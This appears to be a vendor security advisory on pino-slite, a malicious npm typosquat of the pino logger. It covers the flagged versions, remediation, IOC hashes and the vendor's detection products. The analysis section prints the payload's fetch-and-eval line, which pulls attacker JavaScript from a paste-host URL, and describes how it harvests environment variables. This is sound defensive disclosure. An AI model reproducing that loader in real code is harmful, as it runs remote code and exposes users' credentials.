Which versions of pino-slite are malicious?

The following npm versions of pino-slite are flagged malicious: 4.1.12, 4.1.16. Treat any of these as compromised.

How do I remediate pino-slite if I installed it?

pino-slite is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed pino-slite — how do I know if it already compromised me?

If pino-slite was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is pino-slite part of a known attack campaign?

Yes — pino-slite is associated with the IN-MAL-2026-006944, IN-MAL-2026-006945, RLMA-2026-05223, RLUA-2026-05594 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find pino-slite across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for pino-slite (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging pino-slite across your stack and pipelines.

Malicious package

pino-slitenpm

pino-slite is a confirmed malicious npm package (MAL-2026-6078) that steals credentials and exfiltrates sensitive data (malicious versions 4.1.12, 4.1.16). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in pino-slite (npm)

MAL-2026-6078

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall pino-slite

What this malware does

pino-slite impersonates the legitimate pino logger (README titled 'pino-slite (Pino)' with badges and homepage pointing to getpino.io, exported function named pino). On require(), lib/writer.js (loaded transitively from the package main pino.js) decodes a base64 string and passes it to eval(atob(hash)). The decoded payload performs fetch('https://jsonkeeper.com/b/0DWFC').then(r=>r.json()).then(d=>{eval(d.ret);}), executing attacker-controlled JavaScript fetched from a mutable third-party paste host on every load. Immediately before the eval, the module assembles a data object containing {...process.env, version, platform: os.platform(), hostname: os.hostname(), username: os.userInfo().username, macAddresses: <non-internal IPv4 MACs>}, which is in scope for the remotely-fetched code — providing a ready-made channel to exfiltrate the installer's full environment (CI secrets, AWS_*, NPM_TOKEN, GH tokens, etc.) and host identifiers. This combines a typosquat lure, an import-time RCE dropper from an attacker-controlled mutable URL, and an environment-credential harvester.

Malicious versions

2 flagged

4.1.124.1.16

Indicators of compromise (SHA-256)

7ed71e73ac59b29f0867d2fbb15fc0391049b1ba4fe3c7b310bfbd1e84067c9e

ea546461f3101a972511a0bb9d66b73849904ad3522724d1670b003e108c11bb

73bf8200a1764383df2422272fd4d22f82b400dec6aca1f0dcc0532ca2367500

3564819f0578784665cf6210bbe209550fada1dfdd9f1285988b9a8add4ca3ee

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for pino-slite (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging pino-slite across your stack and pipelines.
If you installed it — respond
pino-slite is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If pino-slite was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks pino-slite before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. pino-slite on npm has been identified as a malicious package (versions 4.1.12, 4.1.16 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006944IN-MAL-2026-006945RLMA-2026-05223RLUA-2026-05594

References

Credits

Amazon Inspector · finder
ReversingLabs · finder

Detect & block this

O3 blocks pino-slite-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database